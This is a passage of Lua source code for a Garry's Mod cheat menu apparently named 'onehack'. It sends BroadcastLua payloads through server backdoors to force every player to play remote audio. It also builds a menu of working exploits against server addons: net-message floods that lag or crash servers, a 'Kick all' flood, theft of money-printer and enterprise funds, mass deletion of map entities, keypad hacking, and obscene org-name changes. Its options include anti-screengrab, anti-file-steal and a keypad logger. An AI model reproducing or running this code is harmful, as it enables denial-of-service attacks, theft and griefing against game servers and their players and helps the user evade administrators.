1110 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TU.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Skibidi\")]])")
1111 net.WriteBit(1)
1112 net.SendToServer()
1113 end)
1114
1115 onehack.AddFunction("Музыка - нет админа", "sound", buttlistback, function()
1116 onehack.NetStart( onehack.selectedbackdoor )
1117 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/92xM.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Поиг аю я в CS\")]])")
1118 net.WriteBit(1)
1119 net.SendToServer()
1120 end)
1121
1122 onehack.AddFunction("Музыка - Па авозик - Look At Me", "sound", buttlistback, function()
1123 onehack.NetStart( onehack.selectedbackdoor )
1124 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/69Q8.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Па авозик\")]])")
1125 net.WriteBit(1)
1126 net.SendToServer()
1127 end)
1128
1129 onehack.AddFunction("Музыка - П ивет всем д узьям", "sound", buttlistback, function()
1130 onehack.NetStart( onehack.selectedbackdoor )
1131 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://supronrp.fr/secret/03.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"П ивет всем!\")]])")
1132 net.WriteBit(1)
1133 net.SendToServer()
1134 end)
1135 -- http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3
1136 onehack.AddFunction("Музыка - Меня зовут НЛО.", "sound", buttlistback, function()
1137 onehack.NetStart( onehack.selectedbackdoor )
1138 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://musicdeouff.000webhostapp.com/2016.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Я НЛО\")]])")
1139 net.WriteBit(1)
1140 net.SendToServer()
1141 end)
1142
1143 onehack.AddFunction("Музыка - ТОМАС.", "sound", buttlistback, function()
1144 onehack.NetStart( onehack.selectedbackdoor )
1145 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://fl.bisyor.net/uploads/ru/2018/04/Alley-gang-paravozik-tomas_[www.Bisyor.net].mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Томас\")]])")
1146 net.WriteBit(1)
1147 net.SendToServer()
1148 end)
1149 --
1150 onehack.AddFunction("Музыка - DSD512►Lindsey Stirling Shatter Me", "sound", buttlistback, function()
1151 onehack.NetStart( onehack.selectedbackdoor )
1152 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"DSD512►Lindsey Stirling Shatter Me\")]])")
1153 net.WriteBit(1)
1154 net.SendToServer()
1155 end)
1156
1157 onehack.AddFunction("Музыка - Вишневая семё ка", "sound", buttlistback, function()
1158 onehack.NetStart( onehack.selectedbackdoor )
1159 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://dropmp3.ru/uploads/files/2018-08/1535648946_oni-vishnevaya-semerka.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Вишневая семё ка\")]])")
1160 net.WriteBit(1)
1161 net.SendToServer()
1162 end)
1163 onehack.AddFunction("Музыка - ООООООООООО ", "sound", buttlistback, function()
1164 onehack.NetStart( onehack.selectedbackdoor )
1165 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/6377.mp3\", \"mono\", function()end ); chat.AddText(,Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"-Уши\")]])")
1166 net.WriteBit(1)
1167 net.SendToServer()
1168 end)
1169 onehack.AddFunction("Музыка - Obeme", "sound", buttlistback, function()
1170 onehack.NetStart( onehack.selectedbackdoor )
1171 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/9Aed.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Обеме\")]])")
1172 net.WriteBit(1)
1173 net.SendToServer()
1174 end)
1175 --
1176 onehack.AddFunction("Музыка - Денза", "sound", buttlistback, function()
1177 onehack.NetStart( onehack.selectedbackdoor )
1178 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TW.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Денза\")]])")
1179 net.WriteBit(1)
1180 net.SendToServer()
1181 end)
1182 onehack.AddFunction("Музыка - Big baby tape", "sound", buttlistback, function()
1183 onehack.NetStart( onehack.selectedbackdoor )
1184 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://zenmusic.org/get/music/20181121/zenmusicorg_Big_Baby_Tape_-_YA_VZYAL_TVOYU_BU_I_YA_EJO_EBU_60457129.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"BABY TAPE\")]])")
1185 net.WriteBit(1)
1186 net.SendToServer()
1187 end)
1188
1189 if onehack.selectedpanel != nil then
1190 onehack.selectedpanel:Remove()
1191 end
1192 onehack.selectedpanel_id = 1
1193 onehack.selectedpanel = onehackdooropt
1194 end
1195
1196 function exploitmenuopt()
1197 exploitmenuopt = vgui.Create( "DPanel" , framesag )
1198 exploitmenuopt:SetPos( 126, 9 )
1199 exploitmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1200 function exploitmenuopt:Paint( w, h )
1201 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1202 end
1203
1204 onehack.exploitspanel = vgui.Create( "DPanel", exploitmenuopt )
1205 onehack.exploitspanel:SetPos(160,5)
1206 onehack.exploitspanel:SetSize(302,373)
1207 function onehack.exploitspanel:Paint( w,h )
1208 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1209 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1210 end
1211
1212 onehack.exploitsList = vgui.Create( "DScrollPanel", onehack.exploitspanel )
1213 onehack.exploitsList:Dock(FILL)
1214 function onehack.exploitsList:Paint( w,h )
1215 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1216 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1217 end
1218 onehack.exploitsList.VBar:SetWidth(1)
1219 onehack.exploitsList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar():GetWide(), onehack.exploitsList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1220 onehack.exploitsList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnUp:GetWide(), onehack.exploitsList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1221 onehack.exploitsList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnDown:GetWide(), onehack.exploitsList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1222 onehack.exploitsList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnGrip:GetWide(), onehack.exploitsList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1223
1224 onehack.exploits_players_list = vgui.Create( "DScrollPanel", exploitmenuopt )
1225 onehack.exploits_players_list:SetPos(5,25)
1226 onehack.exploits_players_list:SetSize(150,298)
1227 function onehack.exploits_players_list:Paint( w,h )
1228 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1229 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1230 end
1231 onehack.exploits_players_list.VBar:SetWidth(1)
1232 onehack.exploits_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar():GetWide(), onehack.exploits_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1233 onehack.exploits_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnUp:GetWide(), onehack.exploits_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1234 onehack.exploits_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnDown:GetWide(), onehack.exploits_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1235 onehack.exploits_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnGrip:GetWide(), onehack.exploits_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1236
1237 onehack.player_button_prev = vgui.Create( "DButton", exploitmenuopt )
1238 onehack.player_button_prev:SetText( "" )
1239 onehack.player_button_prev:SetPos(5,5)
1240 onehack.player_button_prev:SetSize(150,20)
1241 function onehack.player_button_prev:Paint( w,h )
1242 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1243 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1244 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
1245 end
1246
1247 onehack.player_button_all = onehack.exploits_players_list:Add( "DButton" )
1248 onehack.player_button_all:SetText( "" )
1249 onehack.player_button_all:Dock( TOP )
1250 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
1251 function onehack.player_button_all:Paint( w,h )
1252 if onehack.player_button_all:IsHovered() then
1253 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1254 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1255 else
1256 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1257 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1258 end
1259 if onehack.selected_player == 0 then
1260 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1261 else
1262 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1263 end
1264 end
1265 function onehack.player_button_all:DoClick()
1266 onehack.selected_player = 0
1267 end
1268
1269 for k,v in pairs(player.GetAll()) do
1270 local onehack_player_button = onehack.exploits_players_list:Add( "DButton" )
1271 onehack_player_button:SetText( "" )
1272 onehack_player_button:Dock( TOP )
1273 onehack_player_button:DockMargin( 0, 0, 0, 0 )
1274 onehack_player_button.Paint = function( _, w, h )
1275 if onehack_player_button:IsHovered() then
1276 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1277 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1278 else
1279 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1280 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1281 end
1282 if onehack.selected_player == v then
1283 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1284 else
1285 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1286 end
1287 end
1288 function onehack_player_button:DoClick()
1289 onehack.selected_player = v
1290 end
1291 end
1292
1293 onehack.exploitstrip_weapontype = vgui.Create("DTextEntry", exploitmenuopt)
1294 onehack.exploitstrip_weapontype:SetPos( 5, 329 )
1295 onehack.exploitstrip_weapontype:SetSize( 150, 25 )
1296 onehack.exploitstrip_weapontype:SetText( "" )
1297 onehack.exploitstrip_weapontype.Paint = function( self, w, h )
1298 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1299 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1300 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
1301 if onehack.exploitstrip_weapontype:GetValue() == "" then
1302 draw.SimpleText("Weapon class (* all)","DermaDefault",3,h/2,Color(255,255,255,5),0,1)
1303 end
1304 end
1305
1306 onehack.exploitstrip = vgui.Create( "DButton", exploitmenuopt )
1307 onehack.exploitstrip:SetPos( 5, 353 )
1308 onehack.exploitstrip:SetSize( 150, 25 )
1309 onehack.exploitstrip:SetText( "" )
1310 onehack.exploitstrip.Paint = function( _, w, h )
1311 if onehack.exploitstrip:IsHovered() then
1312 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1313 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1314 else
1315 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1316 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1317 end
1318 draw.SimpleText("Strip Weapon","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1319 end
1320 function onehack.exploitstrip:DoClick()
1321 if onehack.selected_player ~= 0 then
1322 local weapons = onehack.selected_player:GetWeapons()
1323 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1324 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1325 for _, g in pairs( weapons ) do
1326 for _, s in pairs( stringtotable ) do
1327 if string.find( string.lower( g:GetClass() ), s ) then
1328 onehack.StripWeapon( g )
1329 end
1330 end
1331 end
1332 else
1333 onehack.StripAllWeapons( weapons )
1334 end
1335 else
1336 for k,v in pairs(player.GetAll()) do
1337 local weapons = v:GetWeapons()
1338 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1339 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1340 for _, g in pairs( weapons ) do
1341 for _, s in pairs( stringtotable ) do
1342 if string.find( string.lower( g:GetClass() ), s ) then
1343 onehack.StripWeapon( g )
1344 end
1345 end
1346 end
1347 else
1348 onehack.StripAllWeapons( weapons )
1349 end
1350 end
1351 end
1352
1353
1354 end
1355
1356 if table.HasValue( onehack.AllNets, "StackGhost" ) then
1357 onehack.AddExploit("Server Lagger", function()
1358 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1359 for i = 1, 2000 do
1360 onehack.NetStart( str )
1361 onehack.NetWireInt(69,32)
1362 onehack.SendToServak()
1363 end
1364 end)
1365 end)
1366 end
1367 if table.HasValue( onehack.AllNets, "SyncPrinterButtons76561198056171650" ) then
1368 onehack.AddExploit("Steal money of printer", function()
1369 for _,v in pairs(ents.FindByClass("adv_moneyprinter")) do
1370 if v:IsValid() then
1371 onehack.NetStart( "SyncPrinterButtons76561198056171650" )
1372 net.WriteEntity(v)
1373 net.WriteUInt(2, 4)
1374 onehack.SendToServak()
1375 end
1376 end
1377 end)
1378 end
1379 if table.HasValue( onehack.AllNets, "DL_Answering" ) then
1380 onehack.AddExploit("Kick all", function()
1381 local function reportQuestionmark()
1382 for i = 1, 2000 do
1383 onehack.NetStart("DL_Answering")
1384 net.SendToServer()
1385 end
1386 end
1387 timer.Create(onehack.RandomString(10),0.1,50,reportQuestionmark)
1388 end)
1389 end
1390 if table.HasValue( onehack.AllNets, "pac_submit" ) then
1391 onehack.AddExploit("PAC Server Lagger", function()
1392 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1393 for i=1, 1000 do
1394 onehack.NetStart("pac_submit")
1395 onehack.SendToServak()
1396 end end)
1397 end)
1398 end
1399 if table.HasValue( onehack.AllNets, "Client_To_Server_OpenEditor" ) then
1400 onehack.AddExploit("Open menu SCP-249", function()
1401 onehack.NetStart("Client_To_Server_OpenEditor")
1402 onehack.SendToServak()
1403 end)
1404 end
1405
1406 if table.HasValue( onehack.AllNets, "BuyKey" ) then
1407 onehack.AddExploit("Blue UnBox buy crate and key", function()
1408 onehack.NetStart("BuyKey")
1409 onehack.SendToServak()
1410 onehack.NetStart("BuyCrate")
1411 onehack.SendToServak()
1412 end)
1413 end
1414
1415 if table.HasValue( onehack.AllNets, "ChangeOrgName" ) then
1416 onehack.AddExploit("Change org name", function()
1417 onehack.NetStart("ChangeOrgName")
1418 onehack.NetWireString("OOOOOOOOMMMMMMMMMMMGOOOOOOOOOOOOOOOOOD!")
1419 onehack.NetWireString("MY DICK SOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO BIIIIIIIIIIIG!")
1420 net.WriteEntity(LocalPlayer())
1421 onehack.SendToServak()
1422 end)
1423 end
1424
1425 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1426 onehack.AddExploit("Easy reward", function()
1427 onehack.NetStart("IS_SubmitSID_C2S")
1428 onehack.NetWireString("Killa")
1429 onehack.SendToServak()
1430 onehack.NetStart("IS_GetReward_C2S")
1431 onehack.SendToServak()
1432 end)
1433 end
1434
1435 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1436 onehack.AddExploit("Easy reward", function()
1437 onehack.NetStart("IS_SubmitSID_C2S")
1438 onehack.NetWireString("Killa")
1439 onehack.SendToServak()
1440 onehack.NetStart("IS_GetReward_C2S")
1441 onehack.SendToServak()
1442 end)
1443 end
1444
1445 if table.HasValue( onehack.AllNets, "properties" ) then
1446 onehack.AddExploit("Clear map", function()
1447 for k,v in pairs(ents.GetAll()) do
1448 onehack.NetStart("properties")
1449 onehack.NetWireString( "remove" , 32 )
1450 net.WriteEntity( v )
1451 onehack.SendToServak()
1452 end
1453 end)
1454 end
1455
1456 if table.HasValue( onehack.AllNets, "start_wd_emp" ) then
1457 onehack.AddExploit("Hack all keypad's", function()
1458 onehack.NetStart('start_wd_emp')
1459 onehack.SendToServak()
1460 end)
1461 end
1462
1463 if table.HasValue( onehack.AllNets, "pac.net.TouchFlexes.ClientNotify" ) then
1464 onehack.AddExploit("PAC Server Crash", function()
1465 timer.Create(onehack.RandomString(10), 0, 0, function()
1466 for i = 1, 400 do
1467 onehack.NetStart("pac.net.TouchFlexes.ClientNotify")
1468 net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1469 onehack.SendToServak()
1470 end
1471 end)
1472 end)
1473 end
1474
1475 if table.HasValue( onehack.AllNets, "ItemStoreDrop" ) then
1476 onehack.AddExploit("ItemStore Lagger", function()
1477 timer.Create(onehack.RandomString(10), 0, 0, function()
1478 for i = 1, 1000 do
1479 onehack.NetStart("ItemStoreDrop")
1480 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1481 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1482 onehack.SendToServak()
1483 end
1484 end)
1485 end)
1486 end
1487
1488 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1489 onehack.AddExploit("TFA Lagger", function()
1490 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1491 for i = 1, 4400 do
1492 onehack.NetStart("TFA_Attachment_RequestAll",true)
1493 onehack.SendToServak()
1494 end
1495 end)
1496 end)
1497 end
1498
1499 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1500 onehack.AddExploit("TFA Lagger", function()
1501 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1502 for i = 1, 4400 do
1503 onehack.NetStart("TFA_Attachment_RequestAll",true)
1504 onehack.SendToServak()
1505 end
1506 end)
1507 end)
1508 end
1509
1510 if table.HasValue( onehack.AllNets, "ts_buytitle" ) then
1511 onehack.AddExploit("Car Dealer Lagger", function()
1512 timer.Create(onehack.RandomString(10), 0, 0, function()
1513 for i=1,1000 do
1514 onehack.NetStart("ts_buytitle",true)
1515 net.WriteTable({})
1516 net.WriteTable({})
1517 net.WriteTable({})
1518 onehack.SendToServak()
1519 end
1520 end )
1521 end)
1522 end
1523
1524 if table.HasValue( onehack.AllNets, "EnterpriseWithdraw" ) then
1525 onehack.AddExploit("Withdraw moneyr", function()
1526 onehack.NetStart("EnterpriseWithdraw")
1527 net.WriteInt(100, 32)
1528 onehack.SendToServak()
1529 end)
1530 end
1531
1532 ---------------------------------------------------------------------------------------
1533 if onehack.selectedpanel != nil then
1534 onehack.selectedpanel:Remove()
1535 end
1536 onehack.selectedpanel_id = 2
1537 onehack.selectedpanel = exploitmenuopt
1538 end
1539
1540 function optionsmenuopt()
1541 optionsmenuopt = vgui.Create( "DPanel" , framesag )
1542 optionsmenuopt:SetPos( 126, 9 )
1543 optionsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1544 function optionsmenuopt:Paint( w, h )
1545 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1546 end
1547 local Theme = vgui.Create( "DColorMixer",optionsmenuopt);
1548 Theme:SetSize(227,227)
1549 Theme:SetPos(5,5)
1550 Theme:SetPalette( false )
1551 Theme:SetWangs( false )
1552 Theme:SetAlphaBar( false )
1553 Theme:SetColor(Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b))
1554 function Theme:ValueChanged( color)
1555 onehack.theme.chroma = Color(color.r,color.g,color.b)
1556 onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
1557 end
1558
1559 local asg = vgui.Create("DCheckBox",optionsmenuopt)
1560 asg:SetPos(237,5)
1561 asg:SetValue(onehack.Vars['ASR'])
1562 asg:SetSize(130,17)
1563 function asg:Paint(w,h)
1564 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1565 if asg:GetChecked() then
1566 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1567 end
1568 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1569 draw.SimpleText("Anti-ScreenGrab","DermaDefault",24,h/2,Color(255,255,255),0,1)
1570 onehack.Vars['ASR'] = asg:GetChecked()
1571 end
1572
1573 local asf = vgui.Create("DCheckBox",optionsmenuopt)
1574 asf:SetPos(237,27)
1575 asf:SetValue(onehack.Vars['ASF'])
1576 asf:SetSize(130,17)
1577 function asf:Paint(w,h)
1578 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1579 if asf:GetChecked() then
1580 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1581 end
1582 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1583 draw.SimpleText("Anti-FileSteal","DermaDefault",24,h/2,Color(255,255,255),0,1)
1584 onehack.Vars['ASF'] = asf:GetChecked()
1585 end
1586
1587 local bhop = vgui.Create("DCheckBox",optionsmenuopt)
1588 bhop:SetPos(237,49)
1589 bhop:SetValue(onehack.Vars['BHOP'])
1590 bhop:SetSize(130,17)
1591 function bhop:Paint(w,h)
1592 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1593 if bhop:GetChecked() then
1594 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1595 end
1596 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1597 draw.SimpleText("Bhop","DermaDefault",24,h/2,Color(255,255,255),0,1)
1598 onehack.Vars['BHOP'] = bhop:GetChecked()
1599 end
1600
1601 local WaterMark = vgui.Create("DCheckBox",optionsmenuopt)
1602 WaterMark:SetPos(237,72)
1603 WaterMark:SetValue(onehack.Vars['WaterMark'])
1604 WaterMark:SetSize(130,17)
1605 function WaterMark:Paint(w,h)
1606 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1607 if WaterMark:GetChecked() then
1608 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1609 end
1610 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1611 draw.SimpleText("WaterMark","DermaDefault",24,h/2,Color(255,255,255),0,1)
1612 onehack.Vars['WaterMark'] = WaterMark:GetChecked()
1613 end
1614
1615 local FreeCamBind = optionsmenuopt:Add( "DButton" )
1616 FreeCamBind:SetTextColor( Color( 200, 200, 200 ) )
1617 FreeCamBind:SetText( "" )
1618 FreeCamBind:SetPos(237,95)
1619 FreeCamBind:SetSize(225,23)
1620 function FreeCamBind:Paint( w,h )
1621 if FreeCamBind:IsHovered() then
1622 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1623 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1624 else
1625 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1626 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1627 end
1628 draw.SimpleText("Spectator Mode","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1629 end
1630
1631 FreeCamBind.DoClick = function()
1632 onehack.SpectateMode()
1633 end
1634
1635 local netname = vgui.Create( "DComboBox", optionsmenuopt )
1636 netname:SetPos( 237, 124 )
1637 netname:SetSize( 225, 23 )
1638 netname:SetValue( "Select Network String" )
1639 for _,v in pairs(onehack.foundednets) do
1640 netname:AddChoice( v )
1641 end
1642 netname.OnSelect = function( self, index, value )
1643 onehack.selectedbackdoor = value
1644 end
1645 netname.Paint = function( _, w, h )
1646 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1647 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1648 end
1649
1650 local weapnoslist = vgui.Create("DCheckBox",optionsmenuopt)
1651 weapnoslist:SetPos(237,172)
1652 weapnoslist:SetValue(onehack.Vars['WEAPON_LIST3D'])
1653 weapnoslist:SetSize(130,17)
1654 function weapnoslist:Paint(w,h)
1655 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1656 if weapnoslist:GetChecked() then
1657 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1658 end
1659 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1660 draw.SimpleText("Weapon list","DermaDefault",24,h/2,Color(255,255,255),0,1)
1661 onehack.Vars['WEAPON_LIST3D'] = weapnoslist:GetChecked()
1662 end
1663
1664 local keypadjef = vgui.Create("DCheckBox",optionsmenuopt)
1665 keypadjef:SetPos(237,192)
1666 keypadjef:SetValue(onehack.Vars['keypad_jiw'])
1667 keypadjef:SetSize(130,17)
1668 function keypadjef:Paint(w,h)
1669 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1670 if keypadjef:GetChecked() then
1671 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1672 end
1673 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1674 draw.SimpleText("Keypad logger","DermaDefault",24,h/2,Color(255,255,255),0,1)
1675 onehack.Vars['keypad_jiw'] = keypadjef:GetChecked()
1676 end
1677
1678 ------------------------------------------------------ onehack.Vars['ASR'] 1
1679 if onehack.selectedpanel != nil then
1680 onehack.selectedpanel:Remove()
1681 end
1682 onehack.selectedpanel_id = 3
1683 onehack.selectedpanel = optionsmenuopt
1684 end
1685
1686 function logsmenuopt()
1687 logsmenuopt = vgui.Create( "DPanel" , framesag )
1688 logsmenuopt:SetPos( 126, 9 )
1689 logsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1690 function logsmenuopt:Paint( w, h )
1691 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1692
1693 local red = 255 - (onehack.memory["logic"]*2.55)
1694 local green = onehack.memory["logic"] * 2.55
1695 local atadd = 52
1696 draw.RoundedBox(0,5,364,200+atadd,13,onehack.theme.backgroundalt2)
1697 draw.RoundedBox(0,6,365,(200-2)+atadd,13-2,onehack.theme.backgroundalt)
1698
1699 draw.RoundedBox(0,6, 365, math.Clamp( (onehack.memory["logic"]) * 0.75, 0, 200+atadd)-2, 13-2,Color(green,red, 0, 255) )
1700 draw.SimpleText("Core memory usage: "..onehack.memory["logic"].."kb","DermaDefault",(90-6)+atadd,363+(13/2),Color(255,255,255,100),1,1)
1701
1702 local red2 = 255 - (onehack.memory["hud"]*2.55)
1703 local green2 = onehack.memory["hud"] * 2.55
1704 local atstop = 257
1705 draw.RoundedBox(0,5+atstop,364,200,13,onehack.theme.backgroundalt2)
1706 draw.RoundedBox(0,6+atstop,365,200-2,13-2,onehack.theme.backgroundalt)
1707 local hudmemstext
1708 if onehack.memory["hud"] < 0 then
1709 hudmemstext = 0
1710 else
1711 hudmemstext = onehack.memory["hud"]
1712 end
1713
1714 draw.RoundedBox(0,6+atstop, 365, math.Clamp( (onehack.memory["hud"]) * 0.75, 0, 200)-2, 13-2,Color(green2,red2, 0, 255) )
1715 draw.SimpleText("Visuals memory usage: "..hudmemstext.."kb","DermaDefault",(110-6)+atstop,363+(13/2),Color(255,255,255,100),1,1)
1716 end
1717 logsmenuoptrichtext = vgui.Create( "RichText", logsmenuopt )
1718 logsmenuoptrichtext:SetPos(5, 5)
1719 logsmenuoptrichtext:SetSize( 457,353 ) --373
1720 logsmenuoptrichtext.Paint = function( _, w, h )
1721 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1722 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1723 end
1724 for idx, tab in pairs(onehack.debug) do
1725 logsmenuoptrichtext:InsertColorChange( tab[2].r, tab[2].g, tab[2].b, 255 )
1726 logsmenuoptrichtext:AppendText( tab[1].."\n" )
1727 end
1728
1729 if onehack.selectedpanel != nil then
1730 onehack.selectedpanel:Remove()
1731 end
1732 onehack.selectedpanel_id = 4
